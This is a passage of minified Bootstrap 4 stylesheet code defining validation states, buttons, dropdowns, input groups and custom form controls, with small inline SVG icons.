9.form-control.is-invalid~.invalid-feedback,.form-control.is-invalid~.invalid-tooltip,.was-validated .form-control:invalid~.invalid-feedback,.was-validated .form-control:invalid~.invalid-tooltip{display:block}.was-validated textarea.form-control:invalid,textarea.form-control.is-invalid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.custom-select.is-invalid,.was-validated .custom-select:invalid{border-color:#dc3545;padding-right:calc((3em + 2.25rem)/ 4 + 1.75rem);background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no-repeat right .75rem center/8px 10px,url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23dc3545' viewBox='-2 -2 7 7'%3E%3Cpath stroke='%23dc3545' d='M0 0l3 3m0-3L0 3'/%3E%3Ccircle r='.5'/%3E%3Ccircle cx='3' r='.5'/%3E%3Ccircle cy='3' r='.5'/%3E%3Ccircle cx='3' cy='3' r='.5'/%3E%3C/svg%3E") #fff no-repeat center right 1.75rem/calc(.75em + .375rem) calc(.75em + .375rem)}.custom-select.is-invalid:focus,.was-validated .custom-select:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.custom-select.is-invalid~.invalid-feedback,.custom-select.is-invalid~.invalid-tooltip,.form-control-file.is-invalid~.invalid-feedback,.form-control-file.is-invalid~.invalid-tooltip,.was-validated .custom-select:invalid~.invalid-feedback,.was-validated .custom-select:invalid~.invalid-tooltip,.was-validated .form-control-file:invalid~.invalid-feedback,.was-validated .form-control-file:invalid~.invalid-tooltip{display:block}.form-check-input.is-invalid~.form-check-label,.was-validated .form-check-input:invalid~.form-check-label{color:#dc3545}.form-check-input.is-invalid~.invalid-feedback,.form-check-input.is-invalid~.invalid-tooltip,.was-validated .form-check-input:invalid~.invalid-feedback,.was-validated .form-check-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid~.custom-control-label,.was-validated .custom-control-input:invalid~.custom-control-label{color:#dc3545}.custom-control-input.is-invalid~.custom-control-label:before,.was-validated .custom-control-input:invalid~.custom-control-label:before{border-color:#dc3545}.custom-control-input.is-invalid~.invalid-feedback,.custom-control-input.is-invalid~.invalid-tooltip,.was-validated .custom-control-input:invalid~.invalid-feedback,.was-validated .custom-control-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid:checked~.custom-control-label:before,.was-validated .custom-control-input:invalid:checked~.custom-control-label:before{border-color:#e4606d;background-color:#e4606d}.custom-control-input.is-invalid:focus~.custom-control-label:before,.was-validated .custom-control-input:invalid:focus~.custom-control-label:before{box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.custom-control-input.is-invalid:focus:not(:checked)~.custom-control-label:before,.custom-file-input.is-invalid~.custom-file-label,.was-validated .custom-control-input:invalid:focus:not(:checked)~.custom-control-label:before,.was-validated .custom-file-input:invalid~.custom-file-label{border-color:#dc3545}.custom-file-input.is-invalid~.invalid-feedback,.custom-file-input.is-invalid~.invalid-tooltip,.was-validated .custom-file-input:invalid~.invalid-feedback,.was-validated .custom-file-input:invalid~.invalid-tooltip{display:block}.custom-file-input.is-invalid:focus~.custom-file-label,.was-validated .custom-file-input:invalid:focus~.custom-file-label{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.form-inline{display:flex;flex-flow:row wrap;align-items:center}.form-inline .form-check{width:100%}@media (min-width:576px){.form-inline label{justify-content:center}.form-inline .form-group,.form-inline label{display:flex;align-items:center;margin-bottom:0}.form-inline .form-group{flex:0 0 auto;flex-flow:row wrap}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-plaintext{display:inline-block}.form-inline .custom-select,.form-inline .input-group{width:auto}.form-inline .form-check{display:flex;align-items:center;justify-content:center;width:auto;padding-left:0}.form-inline .form-check-input{position:relative;flex-shrink:0;margin-top:0;margin-right:.25rem;margin-left:0}.form-inline .custom-control{align-items:center;justify-content:center}.form-inline .custom-control-label{margin-bottom:0}}.btn{display:inline-block;font-weight:400;color:#212529;text-align:center;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;padding:.375rem .75rem;font-size:1rem;line-height:1.5;border-radius:.25rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.btn{transition:none}}.btn:hover{color:#212529;text-decoration:none}.btn.focus,.btn:focus{outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}
9.btn.disabled,.btn:disabled{opacity:.65}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:hover{color:#fff;background-color:#0069d9;border-color:#0062cc}.btn-primary.focus,.btn-primary:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:not(:disabled):not(.disabled).active,.btn-primary:not(:disabled):not(.disabled):active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#0062cc;border-color:#005cbf}.btn-primary:not(:disabled):not(.disabled).active:focus,.btn-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,.5)}.btn-secondary{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:hover{color:#fff;background-color:#5a6268;border-color:#545b62}.btn-secondary.focus,.btn-secondary:focus{box-shadow:0 0 0 .2rem rgba(130,138,145,.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:not(:disabled):not(.disabled).active,.btn-secondary:not(:disabled):not(.disabled):active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#545b62;border-color:#4e555b}.btn-secondary:not(:disabled):not(.disabled).active:focus,.btn-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(130,138,145,.5)}.btn-success{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:hover{color:#fff;background-color:#218838;border-color:#1e7e34}.btn-success.focus,.btn-success:focus{box-shadow:0 0 0 .2rem rgba(72,180,97,.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:not(:disabled):not(.disabled).active,.btn-success:not(:disabled):not(.disabled):active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#1e7e34;border-color:#1c7430}.btn-success:not(:disabled):not(.disabled).active:focus,.btn-success:not(:disabled):not(.disabled):active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(72,180,97,.5)}.btn-info{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:hover{color:#fff;background-color:#138496;border-color:#117a8b}.btn-info.focus,.btn-info:focus{box-shadow:0 0 0 .2rem rgba(58,176,195,.5)}.btn-info.disabled,.btn-info:disabled{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:not(:disabled):not(.disabled).active,.btn-info:not(:disabled):not(.disabled):active,.show>.btn-info.dropdown-toggle{color:#fff;background-color:#117a8b;border-color:#10707f}.btn-info:not(:disabled):not(.disabled).active:focus,.btn-info:not(:disabled):not(.disabled):active:focus,.show>.btn-info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(58,176,195,.5)}.btn-warning{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:hover{color:#212529;background-color:#e0a800;border-color:#d39e00}.btn-warning.focus,.btn-warning:focus{box-shadow:0 0 0 .2rem rgba(222,170,12,.5)}.btn-warning.disabled,.btn-warning:disabled{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:not(:disabled):not(.disabled).active,.btn-warning:not(:disabled):not(.disabled):active,.show>.btn-warning.dropdown-toggle{color:#212529;background-color:#d39e00;border-color:#c69500}.btn-warning:not(:disabled):not(.disabled).active:focus,.btn-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-warning.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(222,170,12,.5)}.btn-danger{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:hover{color:#fff;background-color:#c82333;border-color:#bd2130}.btn-danger.focus,.btn-danger:focus{box-shadow:0 0 0 .2rem rgba(225,83,97,.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:not(:disabled):not(.disabled).active,.btn-danger:not(:disabled):not(.disabled):active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#bd2130;border-color:#b21f2d}.btn-danger:not(:disabled):not(.disabled).active:focus,.btn-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(225,83,97,.5)}
9.btn-light{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:hover{color:#212529;background-color:#e2e6ea;border-color:#dae0e5}.btn-light.focus,.btn-light:focus{box-shadow:0 0 0 .2rem rgba(216,217,219,.5)}.btn-light.disabled,.btn-light:disabled{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:not(:disabled):not(.disabled).active,.btn-light:not(:disabled):not(.disabled):active,.show>.btn-light.dropdown-toggle{color:#212529;background-color:#dae0e5;border-color:#d3d9df}.btn-light:not(:disabled):not(.disabled).active:focus,.btn-light:not(:disabled):not(.disabled):active:focus,.show>.btn-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(216,217,219,.5)}.btn-dark{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:hover{color:#fff;background-color:#23272b;border-color:#1d2124}.btn-dark.focus,.btn-dark:focus{box-shadow:0 0 0 .2rem rgba(82,88,93,.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:not(:disabled):not(.disabled).active,.btn-dark:not(:disabled):not(.disabled):active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#1d2124;border-color:#171a1d}.btn-dark:not(:disabled):not(.disabled).active:focus,.btn-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-dark.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(82,88,93,.5)}.btn-outline-primary{color:#007bff;border-color:#007bff}.btn-outline-primary:hover{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary.focus,.btn-outline-primary:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#007bff;background-color:transparent}.btn-outline-primary:not(:disabled):not(.disabled).active,.btn-outline-primary:not(:disabled):not(.disabled):active,.show>.btn-outline-primary.dropdown-toggle{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-secondary{color:#6c757d;border-color:#6c757d}.btn-outline-secondary:hover{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary.focus,.btn-outline-secondary:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#6c757d;background-color:transparent}.btn-outline-secondary:not(:disabled):not(.disabled).active,.btn-outline-secondary:not(:disabled):not(.disabled):active,.show>.btn-outline-secondary.dropdown-toggle{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-success{color:#28a745;border-color:#28a745}.btn-outline-success:hover{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success.focus,.btn-outline-success:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#28a745;background-color:transparent}.btn-outline-success:not(:disabled):not(.disabled).active,.btn-outline-success:not(:disabled):not(.disabled):active,.show>.btn-outline-success.dropdown-toggle{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success:not(:disabled):not(.disabled).active:focus,.btn-outline-success:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-outline-info{color:#17a2b8;border-color:#17a2b8}.btn-outline-info:hover{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info.focus,.btn-outline-info:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#17a2b8;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled).active,.btn-outline-info:not(:disabled):not(.disabled):active,.show>.btn-outline-info.dropdown-toggle{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info:not(:disabled):not(.disabled).active:focus,.btn-outline-info:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-outline-warning{color:#ffc107;border-color:#ffc107}.btn-outline-warning:hover{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning.focus,.btn-outline-warning:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}
9.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#ffc107;background-color:transparent}.btn-outline-warning:not(:disabled):not(.disabled).active,.btn-outline-warning:not(:disabled):not(.disabled):active,.show>.btn-outline-warning.dropdown-toggle{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning:not(:disabled):not(.disabled).active:focus,.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-warning.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-outline-danger{color:#dc3545;border-color:#dc3545}.btn-outline-danger:hover{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger.focus,.btn-outline-danger:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#dc3545;background-color:transparent}.btn-outline-danger:not(:disabled):not(.disabled).active,.btn-outline-danger:not(:disabled):not(.disabled):active,.show>.btn-outline-danger.dropdown-toggle{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger:not(:disabled):not(.disabled).active:focus,.btn-outline-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-light{color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:hover{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light.focus,.btn-outline-light:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}
9.btn-outline-light.disabled,.btn-outline-light:disabled{color:#f8f9fa;background-color:transparent}.btn-outline-light:not(:disabled):not(.disabled).active,.btn-outline-light:not(:disabled):not(.disabled):active,.show>.btn-outline-light.dropdown-toggle{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:not(:disabled):not(.disabled).active:focus,.btn-outline-light:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-dark{color:#343a40;border-color:#343a40}.btn-outline-dark:hover{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark.focus,.btn-outline-dark:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#343a40;background-color:transparent}.btn-outline-dark:not(:disabled):not(.disabled).active,.btn-outline-dark:not(:disabled):not(.disabled):active,.show>.btn-outline-dark.dropdown-toggle{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark:not(:disabled):not(.disabled).active:focus,.btn-outline-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-dark.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-link{font-weight:400;color:#007bff;text-decoration:none}.btn-link:hover{color:#0056b3;text-decoration:underline}.btn-link.focus,.btn-link:focus{text-decoration:underline;box-shadow:none}.btn-link.disabled,.btn-link:disabled{color:#6c757d;pointer-events:none}.btn-group-lg>.btn,.btn-lg{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.btn-group-sm>.btn,.btn-sm{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:.5rem}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{transition:opacity .15s linear}@media (prefers-reduced-motion:reduce){.fade{transition:none}}.fade:not(.show){opacity:0}.collapse:not(.show){display:none}.collapsing{position:relative;height:0;overflow:hidden;transition:height .35s ease}@media (prefers-reduced-motion:reduce){.collapsing{transition:none}}.dropdown,.dropleft,.dropright,.dropup{position:relative}.dropdown-toggle{white-space:nowrap}.dropdown-toggle:after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid;border-right:.3em solid transparent;border-bottom:0;border-left:.3em solid transparent}.dropdown-toggle:empty:after{margin-left:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:.5rem 0;margin:.125rem 0 0;font-size:1rem;color:#212529;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.dropdown-menu-left{right:auto;left:0}.dropdown-menu-right{right:0;left:auto}@media (min-width:576px){.dropdown-menu-sm-left{right:auto;left:0}.dropdown-menu-sm-right{right:0;left:auto}}@media (min-width:768px){.dropdown-menu-md-left{right:auto;left:0}.dropdown-menu-md-right{right:0;left:auto}}@media (min-width:992px){.dropdown-menu-lg-left{right:auto;left:0}.dropdown-menu-lg-right{right:0;left:auto}}@media (min-width:1200px){.dropdown-menu-xl-left{right:auto;left:0}.dropdown-menu-xl-right{right:0;left:auto}}.dropup .dropdown-menu{top:auto;bottom:100%;margin-top:0;margin-bottom:.125rem}.dropup .dropdown-toggle:after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:0;border-right:.3em solid transparent;border-bottom:.3em solid;border-left:.3em solid transparent}.dropup .dropdown-toggle:empty:after{margin-left:0}.dropright .dropdown-menu{top:0;right:auto;left:100%;margin-top:0;margin-left:.125rem}.dropright .dropdown-toggle:after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:0;border-bottom:.3em solid transparent;border-left:.3em solid}.dropright .dropdown-toggle:empty:after{margin-left:0}.dropright .dropdown-toggle:after{vertical-align:0}.dropleft .dropdown-menu{top:0;right:100%;left:auto;margin-top:0;margin-right:.125rem}.dropleft .dropdown-toggle:after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";display:none}.dropleft .dropdown-toggle:before{display:inline-block;margin-right:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:.3em solid;border-bottom:.3em solid transparent}.dropleft .dropdown-toggle:empty:after{margin-left:0}.dropleft .dropdown-toggle:before{vertical-align:0}.dropdown-menu[x-placement^=bottom],.dropdown-menu[x-placement^=left],.dropdown-menu[x-placement^=right],.dropdown-menu[x-placement^=top]{right:auto;bottom:auto}.dropdown-divider{height:0;margin:.5rem 0;overflow:hidden;border-top:1px solid #e9ecef}.dropdown-item{display:block;width:100%;padding:.25rem 1.5rem;clear:both;font-weight:400;color:#212529;text-align:inherit;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:focus,.dropdown-item:hover{color:#16181b;text-decoration:none;background-color:#f8f9fa}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-color:#007bff}.dropdown-item.disabled,.dropdown-item:disabled{color:#6c757d;pointer-events:none;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:.5rem 1.5rem;margin-bottom:0;font-size:.875rem;color:#6c757d;white-space:nowrap}.dropdown-item-text{display:block;padding:.25rem 1.5rem;color:#212529}.btn-group,.btn-group-vertical{position:relative;display:inline-flex;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;flex:1 1 auto}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:hover,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus,.btn-group>.btn:hover{z-index:1}.btn-toolbar{display:flex;flex-wrap:wrap;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn-group:not(:first-child),.btn-group>.btn:not(:first-child){margin-left:-1px}.btn-group>.btn-group:not(:last-child)>.btn,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:not(:first-child)>.btn,.btn-group>.btn:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:.5625rem;padding-left:.5625rem}.dropdown-toggle-split:after,.dropright .dropdown-toggle-split:after,.dropup .dropdown-toggle-split:after{margin-left:0}.dropleft .dropdown-toggle-split:before{margin-right:0}.btn-group-sm>.btn+.dropdown-toggle-split,.btn-sm+.dropdown-toggle-split{padding-right:.375rem;padding-left:.375rem}.btn-group-lg>.btn+.dropdown-toggle-split,.btn-lg+.dropdown-toggle-split{padding-right:.75rem;padding-left:.75rem}.btn-group-vertical{flex-direction:column;align-items:flex-start;justify-content:center}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group{width:100%}.btn-group-vertical>.btn-group:not(:first-child),.btn-group-vertical>.btn:not(:first-child){margin-top:-1px}.btn-group-vertical>.btn-group:not(:last-child)>.btn,.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child)>.btn,.btn-group-vertical>.btn:not(:first-child){border-top-left-radius:0;border-top-right-radius:0}.btn-group-toggle>.btn,.btn-group-toggle>.btn-group>.btn{margin-bottom:0}.btn-group-toggle>.btn input[type=checkbox],.btn-group-toggle>.btn input[type=radio],.btn-group-toggle>.btn-group>.btn input[type=checkbox],.btn-group-toggle>.btn-group>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:flex;flex-wrap:wrap;align-items:stretch;width:100%}.input-group>.custom-file,.input-group>.custom-select,.input-group>.form-control,.input-group>.form-control-plaintext{position:relative;flex:1 1 auto;width:1%;margin-bottom:0}.input-group>.custom-file+.custom-file,.input-group>.custom-file+.custom-select,.input-group>.custom-file+.form-control,.input-group>.custom-select+.custom-file,.input-group>.custom-select+.custom-select,.input-group>.custom-select+.form-control,.input-group>.form-control+.custom-file,.input-group>.form-control+.custom-select,.input-group>.form-control+.form-control,.input-group>.form-control-plaintext+.custom-file,.input-group>.form-control-plaintext+.custom-select,.input-group>.form-control-plaintext+.form-control{margin-left:-1px}.input-group>.custom-file .custom-file-input:focus~.custom-file-label,.input-group>.custom-select:focus,.input-group>.form-control:focus{z-index:3}.input-group>.custom-file .custom-file-input:focus{z-index:4}.input-group>
9.custom-select:not(:last-child),.input-group>.form-control:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-select:not(:first-child),.input-group>.form-control:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.custom-file{display:flex;align-items:center}.input-group>.custom-file:not(:last-child) .custom-file-label,.input-group>.custom-file:not(:last-child) .custom-file-label:after{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-file:not(:first-child) .custom-file-label{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-append,.input-group-prepend{display:flex}.input-group-append .btn,.input-group-prepend .btn{position:relative;z-index:2}.input-group-append .btn:focus,.input-group-prepend .btn:focus{z-index:3}.input-group-append .btn+.btn,.input-group-append .btn+.input-group-text,.input-group-append .input-group-text+.btn,.input-group-append .input-group-text+.input-group-text,.input-group-prepend .btn+.btn,.input-group-prepend .btn+.input-group-text,.input-group-prepend .input-group-text+.btn,.input-group-prepend .input-group-text+.input-group-text{margin-left:-1px}.input-group-prepend{margin-right:-1px}.input-group-append{margin-left:-1px}.input-group-text{display:flex;align-items:center;padding:.375rem .75rem;margin-bottom:0;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;text-align:center;white-space:nowrap;background-color:#e9ecef;border:1px solid #ced4da;border-radius:.25rem}.input-group-text input[type=checkbox],.input-group-text input[type=radio]{margin-top:0}.input-group-lg>.custom-select,.input-group-lg>.form-control:not(textarea){height:calc(1.5em + 1rem + 2px)}.input-group-lg>.custom-select,.input-group-lg>.form-control,.input-group-lg>.input-group-append>.btn,.input-group-lg>.input-group-append>.input-group-text,.input-group-lg>.input-group-prepend>.btn,.input-group-lg>.input-group-prepend>.input-group-text{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.input-group-sm>.custom-select,.input-group-sm>.form-control:not(textarea){height:calc(1.5em + .5rem + 2px)}.input-group-sm>.custom-select,.input-group-sm>.form-control,.input-group-sm>.input-group-append>.btn,.input-group-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-prepend>.input-group-text{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.input-group-lg>.custom-select,.input-group-sm>.custom-select{padding-right:1.75rem}.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group>.input-group-append:last-child>
9.input-group-text:not(:last-child),.input-group>.input-group-append:not(:last-child)>.btn,.input-group>.input-group-append:not(:last-child)>.input-group-text,.input-group>.input-group-prepend>.btn,.input-group>.input-group-prepend>.input-group-text{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.input-group-append>.btn,.input-group>.input-group-append>.input-group-text,.input-group>.input-group-prepend:first-child>.btn:not(:first-child),.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child),.input-group>.input-group-prepend:not(:first-child)>.btn,.input-group>.input-group-prepend:not(:first-child)>.input-group-text{border-top-left-radius:0;border-bottom-left-radius:0}.custom-control{position:relative;display:block;min-height:1.5rem;padding-left:1.5rem}.custom-control-inline{display:inline-flex;margin-right:1rem}.custom-control-input{position:absolute;z-index:-1;opacity:0}.custom-control-input:checked~.custom-control-label:before{color:#fff;border-color:#007bff;background-color:#007bff}.custom-control-input:focus~.custom-control-label:before{box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-control-input:focus:not(:checked)~.custom-control-label:before{border-color:#80bdff}.custom-control-input:not(:disabled):active~.custom-control-label:before{color:#fff;background-color:#b3d7ff;border-color:#b3d7ff}.custom-control-input:disabled~.custom-control-label{color:#6c757d}.custom-control-input:disabled~.custom-control-label:before{background-color:#e9ecef}.custom-control-label{position:relative;margin-bottom:0;vertical-align:top}.custom-control-label:before{pointer-events:none;background-color:#fff;border:1px solid #adb5bd}.custom-control-label:after,.custom-control-label:before{position:absolute;top:.25rem;left:-1.5rem;display:block;width:1rem;height:1rem;content:""}.custom-control-label:after{background:no-repeat 50%/50% 50%}.custom-checkbox .custom-control-label:before{border-radius:.25rem}.custom-checkbox .custom-control-input:checked~.custom-control-label:after{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26l2.974 2.99L8 2.193z'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label:before{border-color:#007bff;background-color:#007bff}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label:after{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:disabled:checked~.custom-control-label:before{background-color:rgba(0,123,255,.5)}.custom-checkbox .custom-control-input:disabled:indeterminate~.custom-control-label:before{background-color:rgba(0,123,255,.5)}.custom-radio .custom-control-label:before{border-radius:50%}.custom-radio .custom-control-input:checked~.custom-control-label:after{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E")}.custom-radio .custom-control-input:disabled:checked~.custom-control-label:before{background-color:rgba(0,123,255,.5)}.custom-switch{padding-left:2.25rem}.custom-switch .custom-control-label:before{left:-2.25rem;width:1.75rem;pointer-events:all;border-radius:.5rem}.custom-switch .custom-control-label:after{top:calc(.25rem + 2px);left:calc(-2.25rem + 2px);width:calc(1rem - 4px);height:calc(1rem - 4px);background-color:#adb5bd;border-radius:.5rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out,-webkit-transform .15s ease-in-out;transition:transform .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:transform .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out,-webkit-transform .15s ease-in-out}@media 